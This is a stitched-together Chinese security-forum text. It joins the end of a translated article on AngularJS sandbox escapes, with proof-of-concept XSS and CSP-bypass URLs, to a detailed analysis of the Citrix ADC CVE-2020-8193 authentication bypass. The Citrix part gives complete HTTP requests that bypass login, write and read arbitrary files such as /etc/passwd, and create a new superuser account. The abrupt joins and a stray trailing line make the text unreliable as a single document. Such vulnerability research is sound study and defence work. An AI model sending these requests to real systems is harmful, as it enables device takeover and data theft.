[沙箱逃逸PoC 1.4.5（只支持chrome）](http://portswigger-labs.net/angular_dom_based_sandbox_escapes/?version=1.4.5#o=%7B%7D;l=o%5B%5B%27__lookupGetter__%27%5D%5D;%28l=l%29%28%27event%27%29%28%29.target.defaultView.location=%27javascript:alert%281%29%27;)
**0x06 打破更新版本的沙箱**
****在更新版本的Angular沙箱中，__lookupGetter__函数被保护了。你不再能使用数组对象访问它。为了在这些版本中利用，我需要一些Angular
eval，因此我们回顾下在上下文排序中的常规的Angular表达式中的利用。过滤器排序能使用一个字符串作为Angular表达式，因此我们能通过从外部排序调用嵌套的排序来得到我们的eval。
首先我们执行第一部分的沙箱逃逸，确保charAt返回一个比单个字符长的字符串，打破我在[上篇文章](http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html)中提到的isIdent函数。然后针对我们的字符串payload调用过滤器排序。
[沙箱逃逸PoC 1.5.0（只支持chrome）](http://portswigger-labs.net/angular_dom_based_sandbox_escapes/?version=1.5.0#x=%7By:%27%27.constructor.prototype%7D;x.y.charAt=%5B%5D.join;%5B1%5D%7CorderBy:%27x=alert%281%29%27)
**0x07 打破CSP模式**
****之前的沙箱逃逸能在版本1.5.0-1.5.8上面有效。因此我从1.5.11开始，观察有什么可以破环。不幸的是，我不能在基于DOM的上下文中打破它，即使我发现了在属性中的一个绕过。使用我的对象枚举策略，我发现在chrome中，Angular中的$event对象在它的path属性中包含了一个数组。这个path属性包含的数组存储了文档和窗口。通过传递这个数组给过滤器排序，我能改变表达式的作用域，在窗口中执行：
这个逃逸能在属性上下文中有效，但是当你启用了CSP，将失败。Angular似乎在CSP模式下会检查调用函数的窗口对象，因此能阻止沙箱逃逸运行。为了绕过这个，我需要间接调用alert函数，同时Array.from函数提供了简单的方法实现这个。它有两个参数；一个类似对象的数组和在数组每个对象执行的一个函数。我将在第一个参数中传递数组，在第二个参数中传递要调用的alert函数。这将绕过CSP模式，应该能在所有的Angular的版本中有效。
[CSP绕过1.5.11（只支持chrome）](http://portswigger-labs.net/angular_csp_bypass_1.5.11/?x=%3Cinput+autofocus%20ng-focus=%22%24event.path%7CorderBy:%27%21x?%5b%5d.constructor.from%28%5bx=1%5d,alert%29:0%27%22%3E)
**0x08 总结**
****当使用Angular时，避免用户输入直接传递给排序过滤器，用户输入的服务端反射也是。不管使用哪个版本的Angular，要明白正在解释的用户输入在什么上下文中，它通常最容易被利用绕过沙箱。
如果你想在你的语言中添加沙箱，仔细考虑安全效益是够大于开发成本，以及是否有潜在的隐患。
**0x09 基于DOM的Angular沙箱逃逸的列表** | 社区文章 |
# Citrix ADC CVE-2020-8193 利用PHP Xdebug无死角分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
目前关于Citrix
ADC的动态调试分析文章很少，大部分为静态代码审计，难免会有一些生涩难懂的地方，有的认证绕过的原理还有分析错误，本文从搭建虚拟机和xdebug调试环境开始分析，动态调试跟踪漏洞的核心原理，以及分析其他绕过认证的方法。最后配合其他漏洞，实现任意文件读写。
## 0x01 Citrix ADC介绍
Citrix ADC 是一款应用交付 Controller，用于分析特定于应用的流量，以便智能地为 Web 应用程序分配、优化和保护 4 层 7
(L4—L7) 网络流量。
Citrix 官方发布了Citrix ADC，Citrix Gateway和Citrix SD-WAN WANOP
组件中多个安全漏洞风险通告。建议使用用户及时安装最新补丁，减少损失。
## 0x1 漏洞类型
## 0x2 漏洞范围
* Citrix ADC and Citrix Gateway: < 13.0-58.30
* Citrix ADC and NetScaler Gateway: < 12.1-57.18
* Citrix ADC and NetScaler Gateway: < 12.0-63.21
* Citrix ADC and NetScaler Gateway: < 11.1-64.14
* NetScaler ADC and NetScaler Gateway: < 10.5-70.18
* Citrix SD-WAN WANOP: < 11.1.1a
* Citrix SD-WAN WANOP: < 11.0.3d
* Citrix SD-WAN WANOP: < 10.2.7
* Citrix Gateway Plug-in for Linux: < 1.0.0.137
## 0x02 环境搭建
可参考 <https://mp.weixin.qq.com/s/cJMyTNumh_rsjwvj3kJIYA> 进行环境准备
其中xdebug放在 <https://github.com/ctlyz123/CVE-2020-8193>
## 0x1 虚拟机安装
登录账号之后，在Citrix 官网选择appliances 下载
<https://www.citrix.com/downloads/citrix-adc/virtual-appliances.html>
本文中所有环境均为Citrix ADC VPX for ESX 12.1 Build 55.18 虚拟机
## 0x2 搭建xdebug调试环境
该系列漏洞漏洞类型为php的逻辑类漏洞，考虑到Citrix
php代码量较为庞大，有想调试的打算，但是网上搜了一波并没有相关版本的`xdebug.so`，又因为当前环境下linux版本为不为常用的freebsd
8.4
版本，该版本已经停更更新源。最后折腾了一波把对应版本的xdebug编译完了，我也放在了github上供大家使用。下载下来之后放在/usr/local/lib/目录下和php.ini同级。
接下来就是php的常规调试步骤了：
### 1\. 修改php.ini
在/usr/local/lib/php.ini文件的最后添加如下配置
[xdebug]
zend_extension="/usr/local/lib/xdebug.so"
xdebug.remote_autostart=1
xdebug.remote_enable=1
xdebug.remote_host = "192.168.1.118"
xdebug.idekey="PHPSTORM"
xdebug.remote_handler=dbgp
xdebug.remote_port=9000
之前尝试了remote_connect_back最后不太好使，之后采用了remote_host的方式指定反连IP
### 2\. 配置phpstorm
开放Debug port，参考如下配置：
### 3\. 效果
在主目录/netscaler/ns_gui写phpinfo并查看效果如下：
成功配置调试模式
## 0x03 Citrix 路由分析
### 0x1 http 流量转发
查看httpd.conf 配置文件，这段配置的主要功能是将login menu等路由赚到。
### 0x2 设置路由
`/admin_ui/php/index.php`
`/admin_ui/php/system/core/CodeIgniter.php`
`/admin_ui/php/system/core/Router.php`在进入路由前的预处理操作，将会在_parse_routes中处理对应的路由。
`/admin_ui/php/system/core/Router.php`按照规则匹配路由表
将URL参数划分为类/方法/参数，如下图所示：
### 0x3 加载对应路由代码
再回到CodeIgniter.php中引用类，调用include方法实现此功能。
## 0x04 Citrix 漏洞分析
本次Citrix最重要的漏洞为认证绕过，在此基础上有任意文件操作和低权限获取漏洞。
### 0x1 认证绕过
**1 Session赋值及合法性检测**
梳理过路由之后找到一个不用经过认证，而且可以创建有效session 的路径 。在pcidss.php
中的report方法里面存在调用init的代码分支，如下图所示
回头看一下init代码里的流程可以发现其中包含创建session的过程，这里的`$argsList['sid']`
为get参数中的sid，该参数被带入到setup_webstart_session 函数中复制给session的sid
setup_webstart_session函数如下，经过简单的合法性检查SESSION的主要字段就被赋值了
检查规则如下，简单的数字和字母正则匹配
**2 后续流程分析**
上一步骤中分析了session的赋值，但是在赋值之后还有很多操作，如果其中某一步操作失败，Cookie id
是不会被返回到前端来的。因此还需要梳理后续的程序流程，继续调试分析
利用fetchEntity函数解析post数据中的内容，跟进查看
这里command是从$entity变量生成的，可以看出entitydef中的变量对应关系。下一步就是执行execte_command
函数。该函数在abstract_controller.php 文件中，利用get_nitro_mode函数动态的获取了nitro_model.php
函数中的类并直接执行了该类中的execute_command方法
继续跟进，顺利的来到了nitro_model.php 中的command_execution方法
最重要的地方来了在下面会分析，如何构造数据包绕过认证。
**3 绕过认证**
经过多次调试发现了个比较特殊的现象，如果走了如下分支就会覆盖$query_params
变量，那么该分支的赋值会让$nitro_return_value得到一个xml的返回内容如下所示
<?xml version="1.0"?>
<nitroResponse><errorcode>354</errorcode><message>Invalid username or password</message><severity>ERROR</severity></nitroResponse>
那么问题来了，如果正常的认证失败是有一个json的返回体，json格式就会正常解析代码如下：
根据代码逻辑如果$nitro_return_value为xml格式那么将会解析失败，从而使得$this->result的内容为null，这就造成了下面逻辑走了另一个分支。这就是绕过认证的核心原理，只需要将
$this->result
赋值为null之后就可以认证绕过了。只需将sid设置为包含loginchallengeresponse且包含requestbody即可。
**4 返回xml原因**
之后又跟踪了函数 `$nitro->v1($arg_list[0], $arg_list[1] .
$query_params);`发现在nsrest_exec 中会有错误的返回，如果参数如下图所示则会返回xml格式导致，认证解析失败，从而绕过认证。
**5 session修复**
经过一波操作，得到的session还有很多属性没有设置如下图所示，NSAPI为之前的loginchalleresponse：
如果设置了force_setup 为1则会给session赋值，如下图所示：
最后的session各个要素都具备，具有了使用价值，达到了认证绕过的目的。
**6 其他绕过方式**
通过上面的一波分析，对认证绕过的方式有了一些的了解，我们看一看有没有其他的分支可以绕过。首先梳理下绕过的条件
* 代码在最后需要进入类似于$this->fetchEntity(‘appfwprofile’)的函数
* 需要设置get参数sid包含loginchallengeresponse且包含requestbody
最后一个条件好满足，那么看一看第一个条件还有没有其他的分支，经过梳理之后发现了以下每个分支都可以达到绕过认证
但是里面有坑其中fwconfig需要修改以下payload
POST /pcidss/report?type=fwconfig&sid=loginchallengeresponserequestbody&username=nsroot&set=1 HTTP/1.1
Host: 192.168.1.131
User-Agent: python-requests/2.24.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/xml
X-NITRO-USER: Twjf2fOW
X-NITRO-PASS: Du16oQQ0
Content-Length: 42
<appfwpolicy><login></login></appfwpolicy>
### 0x2 获取随机数
根据原作者的描述以及自己的调试，session的使用需要设置rand_key
在代码中也有对session和rand_key的校验
此时如果不一致将会404就像代码的逻辑一样。但是这个也是很好获取的，访问带有header的php就可以获取到
作者给的是
GET /menu/stc HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: SESSID=05afba59ef8e0e35933f3bc266941337
Upgrade-Insecure-Requests: 1
就这样带着session和rand_key 就可以干一些事情了
### 0x3 任意文件写
在rapi.php的main 函数中存在一个大switch case，其中有很多关键函数
prepare_text_upload 函数中存在文件写操作
发送如下数据包 注意修改session和rand_key
POST /rapi/uploadtext HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/menu/neo
DNT: 1
rand_key: 1179557566.1594810901289502
Connection: close
Cookie: startupapp=neo; is_cisco_platform=0; st_splitter=350px; SESSID=6c8e255a118516ff2cb50fa2ee6cbda1; rdx_pagination_size=25%20Per%20Page
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
object={"uploadtext":{"filedir":"/tmp","filedata":"test","filename":"test.txt"}}
这里的文件目录主要是根据filename生成，会先删除该文件然后再创建，该部分逻辑如下图所示。
写入效果如下
### 0x4 任意文件读
在同一个函数有一个 filedownload函数，该功能可以实现文件下载
指定path参数 此用url编码 `path:%2fetc%2fpasswd`
POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
Host: 192.168.1.131
User-Agent: python-requests/2.24.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/xml
X-NITRO-USER: onu1IQgD
X-NITRO-PASS: FGsE6MyM
rand_key: 1637785190.1594812669375542
Cookie: SESSID=275cd8c53c9a1b710e051079183e3427; is_cisco_platform=0; startupapp=neo
Content-Length: 31
<clipermission></clipermission>
### 0x5 获取系统权限
可以采用多种方法获取系统权限
* 上传ssh 公钥，直接连接
* 修改用户名密码，直接登录
* 创建新用户，登录获取shell
这里把创建新用户的数据包贴出来
第一个包创建用户
POST /nitro/v1/config/systemuser HTTP/1.1
Host: 192.168.3.18:9080
Content-Length: 83
Cache-Control: max-age=0
Accept: application/json
rand_key: 845810655.1594556994263502
NITRO_WEB_APPLICATION: true
If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
DNT: 1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: is_cisco_platform=-1; rdx_pagination_size=25%20Per%20Page; SESSID=6c5c31300c22b200f0273e7a13be47cb; startupapp=neo
Connection: close
object={"params":{"warning":"YES"},"systemuser":{"username":"nsroot1","password":"nsroot1","timeout":"900","maxsession":"20","logging":"ENABLED","externalauth":"ENABLED"}}
第二个包修改为superuser权限
POST /nitro/v1/config/systemuser_systemcmdpolicy_binding HTTP/1.1
Host: 192.168.3.18:9080
Content-Length: 83
Cache-Control: max-age=0
Accept: application/json
rand_key: 845810655.1594556994263502
NITRO_WEB_APPLICATION: true
If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
DNT: 1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: is_cisco_platform=-1; rdx_pagination_size=25%20Per%20Page; SESSID=6c5c31300c22b200f0273e7a13be47cb; startupapp=neo
Connection: close
object={"params":{"warning":"YES"},"systemuser_systemcmdpolicy_binding":{"policyname":"superuser","priority":"0","username":"nsroot1"}}
## 0x05 参考链接
<https://dmaasland.github.io/posts/citrix.html>
<https://github.com/Airboi/Citrix-ADC-RCE-CVE-2020-8193> | 社区文章 |
Subsets and Splits